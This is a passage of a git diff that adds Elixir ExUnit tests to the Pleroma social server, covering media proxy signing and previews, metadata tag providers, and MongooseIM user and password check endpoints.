+ + test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do + invalid_url = String.replace(url, "test.png", "test-file.png") + response = get(conn, invalid_url) + assert response.status == 302 + assert redirected_to(response) == url + end + + test "it performs ReverseProxy.call with valid signature", %{conn: conn, url: url} do + with_mock Pleroma.ReverseProxy, + call: fn _conn, _url, _opts -> %Conn{status: :success} end do + assert %Conn{status: :success} = get(conn, url) + end + end + + test "it returns 404 when url is in banned_urls cache", %{conn: conn, url: url} do + MediaProxy.put_in_banned_urls("https://google.fn/test.png") + + with_mock Pleroma.ReverseProxy, + call: fn _conn, _url, _opts -> %Conn{status: :success} end do + assert %Conn{status: 404, resp_body: "Not Found"} = get(conn, url) + end + end + end + + describe "Media Preview Proxy" do + def assert_dependencies_installed do + missing_dependencies = Pleroma.Helpers.MediaHelper.missing_dependencies() + + assert missing_dependencies == [], + "Error: missing dependencies (please refer to `docs/installation`): #{ + inspect(missing_dependencies) + }" + end + + setup do + clear_config([:media_proxy, :enabled], true) + clear_config([:media_preview_proxy, :enabled], true) + clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + + original_url = "https://google.fn/test.png" + + [ + url: MediaProxy.encode_preview_url(original_url), + media_proxy_url: MediaProxy.encode_url(original_url) + ] + end + + test "returns 404 when media proxy is disabled", %{conn: conn} do + clear_config([:media_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/fff") + end + + test "returns 404 when disabled", %{conn: conn} do + clear_config([:media_preview_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/fff") + end + + test "it returns 403 for invalid signature", %{conn: conn, url: url} do + Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") + %{path: path} = URI.parse(url) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, path) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/preview/hhgfh/eeee") + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/preview/hhgfh/eeee/fff") + end + + test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do + invalid_url = String.replace(url, "test.png", "test-file.png") + response = get(conn, invalid_url) + assert response.status == 302 + assert redirected_to(response) == url + end + + test "responds with 424 Failed Dependency if HEAD request to media proxy fails", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 500, body: ""} + end) + + response = get(conn, url) + assert response.status == 424 + assert response.resp_body == "Can't fetch HTTP headers (HTTP 500)." + end + + test "redirects to media proxy URI on unsupported content type", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "application/pdf"}]} + end) + + response = get(conn, url) + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "with `static=true` and GIF image preview requested, responds with JPEG image", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + assert_dependencies_installed() + + # Setting a high :min_content_length to ensure this scenario is not affected by its logic + clear_config([:media_preview_proxy, :min_content_length], 1_000_000_000) + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{ + status: 200, + body: "", + headers: [{"content-type", "image/gif"}, {"content-length", "1001718"}] + } + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.gif")} + end) + + response = get(conn, url <> "?static=true") + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] + assert response.resp_body != "" + end + + test "with GIF image preview requested and no `static` param, redirects to media proxy URI", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/gif"}]} + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "with `static` param and non-GIF image preview requested, " <> + "redirects to media preview proxy URI without `static` param", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + end) + + response = get(conn, url <> "?static=true") + + assert response.status == 302 + assert redirected_to(response) == url + end + + test "with :min_content_length setting not matched by Content-Length header, " <> + "redirects to media proxy URI", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + clear_config([:media_preview_proxy, :min_content_length], 100_000) + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{ + status: 200, + body: "", + headers: [{"content-type", "image/gif"}, {"content-length", "5000"}] + } + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "thumbnails PNG images into PNG", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + assert_dependencies_installed() + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/png"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.png")} + end) + + response = get(conn, url) + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/png"] + assert response.resp_body != "" + end + + test "thumbnails JPEG images into JPEG", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + assert_dependencies_installed() + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.jpg")} + end) + + response = get(conn, url) + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] + assert response.resp_body != "" + end + + test "redirects to media proxy URI in case of thumbnailing error", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "error"} + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + end +end diff --git a/test/pleroma/web/media_proxy_test.exs b/test/pleroma/web/media_proxy_test.exs new file mode 100644 index 000000000..0e6df826c --- /dev/null +++ b/test/pleroma/web/media_proxy_test.exs @@ -0,0 +1,234 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxyTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + + alias Pleroma.Config + alias Pleroma.Web.Endpoint + alias Pleroma.Web.MediaProxy + + defp decode_result(encoded) do + [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") + {:ok, decoded} = MediaProxy.decode_url(sig, base64) + decoded + end + + describe "when enabled" do + setup do: clear_config([:media_proxy, :enabled], true) + + test "ignores invalid url" do + assert MediaProxy.url(nil) == nil + assert MediaProxy.url("") == nil + end + + test "ignores relative url" do + assert MediaProxy.url("/local") == "/local" + assert MediaProxy.url("/") == "/" + end + + test "ignores local url" do + local_url = Endpoint.url() <> "/hello" + local_root = Endpoint.url() + assert MediaProxy.url(local_url) == local_url + assert MediaProxy.url(local_root) == local_root + end + + test "encodes and decodes URL" do + url = "https://pleroma.soykaf.com/static/logo.png" + encoded = MediaProxy.url(url) + + assert String.starts_with?( + encoded, + Config.get([:media_proxy, :base_url], Pleroma.Web.base_url()) + ) + + assert String.ends_with?(encoded, "/logo.png") + + assert decode_result(encoded) == url + end + + test "encodes and decodes URL without a path" do + url = "https://pleroma.soykaf.com" + encoded = MediaProxy.url(url) + assert decode_result(encoded) == url + end + + test "encodes and decodes URL without an extension" do + url = "https://pleroma.soykaf.com/path/" + encoded = MediaProxy.url(url) + assert String.ends_with?(encoded, "/path") + assert decode_result(encoded) == url + end + + test "encodes and decodes URL and ignores query params for the path" do + url = "https://pleroma.soykaf.com/static/logo.png?93939393939&bunny=true" + encoded = MediaProxy.url(url) + assert String.ends_with?(encoded, "/logo.png") + assert decode_result(encoded) == url + end + + test "validates signature" do + encoded = MediaProxy.url("https://pleroma.social") + + clear_config( + [Endpoint, :secret_key_base], + "00000000000000000000000000000000000000000000000" + ) + + [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") + assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} + end + + def test_verify_request_path_and_url(request_path, url, expected_result) do + assert MediaProxy.verify_request_path_and_url(request_path, url) == expected_result + + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{ + params: %{"filename" => Path.basename(request_path)}, + request_path: request_path + }, + url + ) == expected_result + end + + test "if first arg of `verify_request_path_and_url/2` is a Plug.Conn without \"filename\" " <> + "parameter, `verify_request_path_and_url/2` returns :ok " do + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{params: %{}, request_path: "/some/path"}, + "https://instance.com/file.jpg" + ) == :ok + + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{params: %{}, request_path: "/path/to/file.jpg"}, + "https://instance.com/file.jpg" + ) == :ok + end + + test "`verify_request_path_and_url/2` preserves the encoded or decoded path" do + test_verify_request_path_and_url( + "/Hello world.jpg", + "http://pleroma.social/Hello world.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/Hello%20world.jpg", + "http://pleroma.social/Hello%20world.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + :ok + ) + + test_verify_request_path_and_url( + # Note: `conn.request_path` returns encoded url + "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg", + "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/my%2Flong%2Furl%2F2019%2F07%2FS", + "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} + ) + end + + test "uses the configured base_url" do + base_url = "https://cache.pleroma.social" + clear_config([:media_proxy, :base_url], base_url) + + url = "https://pleroma.soykaf.com/static/logo.png" + encoded = MediaProxy.url(url) + + assert String.starts_with?(encoded, base_url) + end + + # Some sites expect ASCII encoded characters in the URL to be preserved even if + # unnecessary. + # Issues: https://git.pleroma.social/pleroma/pleroma/issues/580 + # https://git.pleroma.social/pleroma/pleroma/issues/1055 + test "preserve ASCII encoding" do + url = + "https://pleroma.com/%20/%21/%22/%23/%24/%25/%26/%27/%28/%29/%2A/%2B/%2C/%2D/%2E/%2F/%30/%31/%32/%33/%34/%35/%36/%37/%38/%39/%3A/%3B/%3C/%3D/%3E/%3F/%40/%41/%42/%43/%44/%45/%46/%47/%48/%49/%4A/%4B/%4C/%4D/%4E/%4F/%50/%51/%52/%53/%54/%55/%56/%57/%58/%59/%5A/%5B/%5C/%5D/%5E/%5F/%60/%61/%62/%63/%64/%65/%66/%67/%68/%69/%6A/%6B/%6C/%6D/%6E/%6F/%70/%71/%72/%73/%74/%75/%76/%77/%78/%79/%7A/%7B/%7C/%7D/%7E/%7F/%80/%81/%82/%83/%84/%85/%86/%87/%88/%89/%8A/%8B/%8C/%8D/%8E/%8F/%90/%91/%92/%93/%94/%95/%96/%97/%98/%99/%9A/%9B/%9C/%9D/%9E/%9F/%C2%A0/%A1/%A2/%A3/%A4/%A5/%A6/%A7/%A8/%A9/%AA/%AB/%AC/%C2%AD/%AE/%AF/%B0/%B1/%B2/%B3/%B4/%B5/%B6/%B7/%B8/%B9/%BA/%BB/%BC/%BD/%BE/%BF/%C0/%C1/%C2/%C3/%C4/%C5/%C6/%C7/%C8/%C9/%CA/%CB/%CC/%CD/%CE/%CF/%D0/%D1/%D2/%D3/%D4/%D5/%D6/%D7/%D8/%D9/%DA/%DB/%DC/%DD/%DE/%DF/%E0/%E1/%E2/%E3/%E4/%E5/%E6/%E7/%E8/%E9/%EA/%EB/%EC/%ED/%EE/%EF/%F0/%F1/%F2/%F3/%F4/%F5/%F6/%F7/%F8/%F9/%FA/%FB/%FC/%FD/%FE/%FF" + + encoded = MediaProxy.url(url) + assert decode_result(encoded) == url + end + + # This includes unsafe/reserved characters which are not interpreted as part of the URL + # and would otherwise have to be ASCII encoded. It is our role to ensure the proxied URL + # is unmodified, so we are testing these characters anyway. + test "preserve non-unicode characters per RFC3986" do + url = + "https://pleroma.com/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890-._~:/?#[]@!$&'()*+,;=|^`{}" + + encoded = MediaProxy.url(url) + assert decode_result(encoded) == url + end + + test "preserve unicode characters" do + url = "https://ko.wikipedia.org/wiki/위키백과:대문" + + encoded = MediaProxy.url(url) + assert decode_result(encoded) == url + end + end + + describe "when disabled" do + setup do: clear_config([:media_proxy, :enabled], false) + + test "does not encode remote urls" do + assert MediaProxy.url("https://google.fr") == "https://google.fr" + end + end + + describe "whitelist" do + setup do: clear_config([:media_proxy, :enabled], true) + + test "mediaproxy whitelist" do + clear_config([:media_proxy, :whitelist], ["https://google.com", "https://feld.me"]) + url = "https://feld.me/foo.png" + + unencoded = MediaProxy.url(url) + assert unencoded == url + end + + # TODO: delete after removing support bare domains for media proxy whitelist + test "mediaproxy whitelist bare domains whitelist (deprecated)" do + clear_config([:media_proxy, :whitelist], ["google.com", "feld.me"]) + url = "https://feld.me/foo.png" + + unencoded = MediaProxy.url(url) + assert unencoded == url + end + + test "does not change whitelisted urls" do + clear_config([:media_proxy, :whitelist], ["mycdn.akamai.com"]) + clear_config([:media_proxy, :base_url], "https://cache.pleroma.social") + + media_url = "https://mycdn.akamai.com" + + url = "#{media_url}/static/logo.png" + encoded = MediaProxy.url(url) + + assert String.starts_with?(encoded, media_url) + end + + test "ensure Pleroma.Upload base_url is always whitelisted" do + media_url = "https://media.pleroma.social" + clear_config([Pleroma.Upload, :base_url], media_url) + + url = "#{media_url}/static/logo.png" + encoded = MediaProxy.url(url) + + assert String.starts_with?(encoded, media_url) + end + end +end diff --git a/test/pleroma/web/metadata/player_view_test.exs b/test/pleroma/web/metadata/player_view_test.exs new file mode 100644 index 000000000..e6c990242 --- /dev/null +++ b/test/pleroma/web/metadata/player_view_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.PlayerViewTest do + use Pleroma.DataCase + + alias Pleroma.Web.Metadata.PlayerView + + test "it renders audio tag" do + res = + PlayerView.render( + "player.html", + %{"mediaType" => "audio", "href" => "test-href"} + ) + |> Phoenix.HTML.safe_to_string() + + assert res == + "" + end + + test "it renders videos tag" do + res = + PlayerView.render( + "player.html", + %{"mediaType" => "video", "href" => "test-href"} + ) + |> Phoenix.HTML.safe_to_string() + + assert res == + "" + end +end diff --git a/test/pleroma/web/metadata/providers/feed_test.exs b/test/pleroma/web/metadata/providers/feed_test.exs new file mode 100644 index 000000000..e6e5cc5ed --- /dev/null +++ b/test/pleroma/web/metadata/providers/feed_test.exs @@ -0,0 +1,18 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.FeedTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Metadata.Providers.Feed + + test "it renders a link to user's atom feed" do + user = insert(:user, nickname: "lain") + + assert Feed.build_tags(%{user: user}) == [ + {:link, + [rel: "alternate", type: "application/atom+xml", href: "/users/lain/feed.atom"], []} + ] + end +end diff --git a/test/pleroma/web/metadata/providers/open_graph_test.exs b/test/pleroma/web/metadata/providers/open_graph_test.exs new file mode 100644 index 000000000..218540e6c --- /dev/null +++ b/test/pleroma/web/metadata/providers/open_graph_test.exs @@ -0,0 +1,96 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.OpenGraphTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Metadata.Providers.OpenGraph + + setup do: clear_config([Pleroma.Web.Metadata, :unfurl_nsfw]) + + test "it renders all supported types of attachments and skips unknown types" do + user = insert(:user) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "tag" => [], + "id" => "https://pleroma.gov/objects/whatever", + "content" => "pleroma in a nutshell", + "attachment" => [ + %{ + "url" => [ + %{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"} + ] + }, + %{ + "url" => [ + %{ + "mediaType" => "application/octet-stream", + "href" => "https://pleroma.gov/fqa/badapple.sfc" + } + ] + }, + %{ + "url" => [ + %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} + ] + }, + %{ + "url" => [ + %{ + "mediaType" => "audio/basic", + "href" => "http://www.gnu.org/music/free-software-song.au" + } + ] + } + ] + } + }) + + result = OpenGraph.build_tags(%{object: note, url: note.data["id"], user: user}) + + assert Enum.all?( + [ + {:meta, [property: "og:image", content: "https://pleroma.gov/tenshi.png"], []}, + {:meta, + [property: "og:audio", content: "http://www.gnu.org/music/free-software-song.au"], + []}, + {:meta, [property: "og:video", content: "https://pleroma.gov/about/juche.webm"], + []} + ], + fn element -> element in result end + ) + end + + test "it does not render attachments if post is nsfw" do + Pleroma.Config.put([Pleroma.Web.Metadata, :unfurl_nsfw], false) + user = insert(:user, avatar: %{"url" => [%{"href" => "https://pleroma.gov/tenshi.png"}]}) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "id" => "https://pleroma.gov/objects/whatever", + "content" => "#cuteposting #nsfw #hambaga", + "tag" => ["cuteposting", "nsfw", "hambaga"], + "sensitive" => true, + "attachment" => [ + %{ + "url" => [ + %{"mediaType" => "image/png", "href" => "https://misskey.microsoft/corndog.png"} + ] + } + ] + } + }) + + result = OpenGraph.build_tags(%{object: note, url: note.data["id"], user: user}) + + assert {:meta, [property: "og:image", content: "https://pleroma.gov/tenshi.png"], []} in result + + refute {:meta, [property: "og:image", content: "https://misskey.microsoft/corndog.png"], []} in result + end +end diff --git a/test/pleroma/web/metadata/providers/rel_me_test.exs b/test/pleroma/web/metadata/providers/rel_me_test.exs new file mode 100644 index 000000000..2293d6e13 --- /dev/null +++ b/test/pleroma/web/metadata/providers/rel_me_test.exs @@ -0,0 +1,21 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.RelMeTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Metadata.Providers.RelMe + + test "it renders all links with rel='me' from user bio" do + bio = + ~s(https://some-link.com https://another-link.com ) + + user = insert(:user, %{bio: bio}) + + assert RelMe.build_tags(%{user: user}) == [ + {:link, [rel: "me", href: "http://some3.com"], []}, + {:link, [rel: "me", href: "https://another-link.com"], []} + ] + end +end diff --git a/test/pleroma/web/metadata/providers/restrict_indexing_test.exs b/test/pleroma/web/metadata/providers/restrict_indexing_test.exs new file mode 100644 index 000000000..6b3a65372 --- /dev/null +++ b/test/pleroma/web/metadata/providers/restrict_indexing_test.exs @@ -0,0 +1,27 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.RestrictIndexingTest do + use ExUnit.Case, async: true + + describe "build_tags/1" do + test "for remote user" do + assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ + user: %Pleroma.User{local: false} + }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] + end + + test "for local user" do + assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ + user: %Pleroma.User{local: true, discoverable: true} + }) == [] + end + + test "for local user when discoverable is false" do + assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ + user: %Pleroma.User{local: true, discoverable: false} + }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] + end + end +end diff --git a/test/pleroma/web/metadata/providers/twitter_card_test.exs b/test/pleroma/web/metadata/providers/twitter_card_test.exs new file mode 100644 index 000000000..10931b5ba --- /dev/null +++ b/test/pleroma/web/metadata/providers/twitter_card_test.exs @@ -0,0 +1,150 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.TwitterCardTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Endpoint + alias Pleroma.Web.Metadata.Providers.TwitterCard + alias Pleroma.Web.Metadata.Utils + alias Pleroma.Web.Router + + setup do: clear_config([Pleroma.Web.Metadata, :unfurl_nsfw]) + + test "it renders twitter card for user info" do + user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") + avatar_url = Utils.attachment_url(User.avatar_url(user)) + res = TwitterCard.build_tags(%{user: user}) + + assert res == [ + {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, + {:meta, [property: "twitter:description", content: "born 19 March 1994"], []}, + {:meta, [property: "twitter:image", content: avatar_url], []}, + {:meta, [property: "twitter:card", content: "summary"], []} + ] + end + + test "it uses summary twittercard if post has no attachment" do + user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") + {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "tag" => [], + "id" => "https://pleroma.gov/objects/whatever", + "content" => "pleroma in a nutshell" + } + }) + + result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) + + assert [ + {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, + {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, + {:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"], + []}, + {:meta, [property: "twitter:card", content: "summary"], []} + ] == result + end + + test "it renders avatar not attachment if post is nsfw and unfurl_nsfw is disabled" do + Pleroma.Config.put([Pleroma.Web.Metadata, :unfurl_nsfw], false) + user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") + {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "tag" => [], + "id" => "https://pleroma.gov/objects/whatever", + "content" => "pleroma in a nutshell", + "sensitive" => true, + "attachment" => [ + %{ + "url" => [%{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"}] + }, + %{ + "url" => [ + %{ + "mediaType" => "application/octet-stream", + "href" => "https://pleroma.gov/fqa/badapple.sfc" + } + ] + }, + %{ + "url" => [ + %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} + ] + } + ] + } + }) + + result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) + + assert [ + {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, + {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, + {:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"], + []}, + {:meta, [property: "twitter:card", content: "summary"], []} + ] == result + end + + test "it renders supported types of attachments and skips unknown types" do + user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") + {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "tag" => [], + "id" => "https://pleroma.gov/objects/whatever", + "content" => "pleroma in a nutshell", + "attachment" => [ + %{ + "url" => [%{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"}] + }, + %{ + "url" => [ + %{ + "mediaType" => "application/octet-stream", + "href" => "https://pleroma.gov/fqa/badapple.sfc" + } + ] + }, + %{ + "url" => [ + %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} + ] + } + ] + } + }) + + result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) + + assert [ + {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, + {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, + {:meta, [property: "twitter:card", content: "summary_large_image"], []}, + {:meta, [property: "twitter:player", content: "https://pleroma.gov/tenshi.png"], []}, + {:meta, [property: "twitter:card", content: "player"], []}, + {:meta, + [ + property: "twitter:player", + content: Router.Helpers.o_status_url(Endpoint, :notice_player, activity.id) + ], []}, + {:meta, [property: "twitter:player:width", content: "480"], []}, + {:meta, [property: "twitter:player:height", content: "480"], []} + ] == result + end +end diff --git a/test/pleroma/web/metadata/utils_test.exs b/test/pleroma/web/metadata/utils_test.exs new file mode 100644 index 000000000..8183256d8 --- /dev/null +++ b/test/pleroma/web/metadata/utils_test.exs @@ -0,0 +1,32 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.UtilsTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Metadata.Utils + + describe "scrub_html_and_truncate/1" do + test "it returns text without encode HTML" do + user = insert(:user) + + note = + insert(:note, %{ + data: %{ + "actor" => user.ap_id, + "id" => "https://pleroma.gov/objects/whatever", + "content" => "Pleroma's really cool!" + } + }) + + assert Utils.scrub_html_and_truncate(note) == "Pleroma's really cool!" + end + end + + describe "scrub_html_and_truncate/2" do + test "it returns text without encode HTML" do + assert Utils.scrub_html_and_truncate("Pleroma's really cool!") == "Pleroma's really cool!" + end + end +end diff --git a/test/pleroma/web/metadata_test.exs b/test/pleroma/web/metadata_test.exs new file mode 100644 index 000000000..ca6cbe67f --- /dev/null +++ b/test/pleroma/web/metadata_test.exs @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MetadataTest do + use Pleroma.DataCase, async: true + + import Pleroma.Factory + + describe "restrict indexing remote users" do + test "for remote user" do + user = insert(:user, local: false) + + assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ + "" + end + + test "for local user" do + user = insert(:user, discoverable: false) + + assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ + "" + end + + test "for local user set to discoverable" do + user = insert(:user, discoverable: true) + + refute Pleroma.Web.Metadata.build_tags(%{user: user}) =~ + "" + end + end + + describe "no metadata for private instances" do + test "for local user set to discoverable" do + clear_config([:instance, :public], false) + user = insert(:user, bio: "This is my secret fedi account bio", discoverable: true) + + assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) + end + + test "search exclusion metadata is included" do + clear_config([:instance, :public], false) + user = insert(:user, bio: "This is my secret fedi account bio", discoverable: false) + + assert ~s() == + Pleroma.Web.Metadata.build_tags(%{user: user}) + end + end +end diff --git a/test/pleroma/web/mongoose_im_controller_test.exs b/test/pleroma/web/mongoose_im_controller_test.exs new file mode 100644 index 000000000..e3a8aa3d8 --- /dev/null +++ b/test/pleroma/web/mongoose_im_controller_test.exs @@ -0,0 +1,81 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MongooseIMControllerTest do + use Pleroma.Web.ConnCase + import Pleroma.Factory + + test "/user_exists", %{conn: conn} do + _user = insert(:user, nickname: "lain") + _remote_user = insert(:user, nickname: "alice", local: false) + _deactivated_user = insert(:user, nickname: "konata", deactivated: true) + + res = + conn + |> get(mongoose_im_path(conn, :user_exists), user: "lain") + |> json_response(200) + + assert res == true + + res = + conn + |> get(mongoose_im_path(conn, :user_exists), user: "alice") + |> json_response(404) + + assert res == false + + res = + conn + |> get(mongoose_im_path(conn, :user_exists), user: "bob") + |> json_response(404) + + assert res == false + + res = + conn + |> get(mongoose_im_path(conn, :user_exists), user: "konata") + |> json_response(404) + + assert res == false + end + + test "/check_password", %{conn: conn} do + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("cool")) + + _deactivated_user = + insert(:user, + nickname: "konata", + deactivated: true, + password_hash: Pbkdf2.hash_pwd_salt("cool") + ) + + res = + conn + |> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "cool") + |> json_response(200) + + assert res == true + + res = + conn + |> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "uncool") + |> json_response(403) + + assert res == false + + res = + conn + |> get(mongoose_im_path(conn, :check_password), user: "konata", pass: "cool") + |> json_response(404) + + assert res == false + + res = + conn + |> get(mongoose_im_path(conn, :check_password), user: "nobody", pass: "cool") + |> json_response(404) + + assert res == false + end +end diff --git a/test/pleroma/web/node_info_test.exs b/test/pleroma/web/node_info_test.exs new file mode 100644 index 000000000..06b33607f --- /dev/null +++ 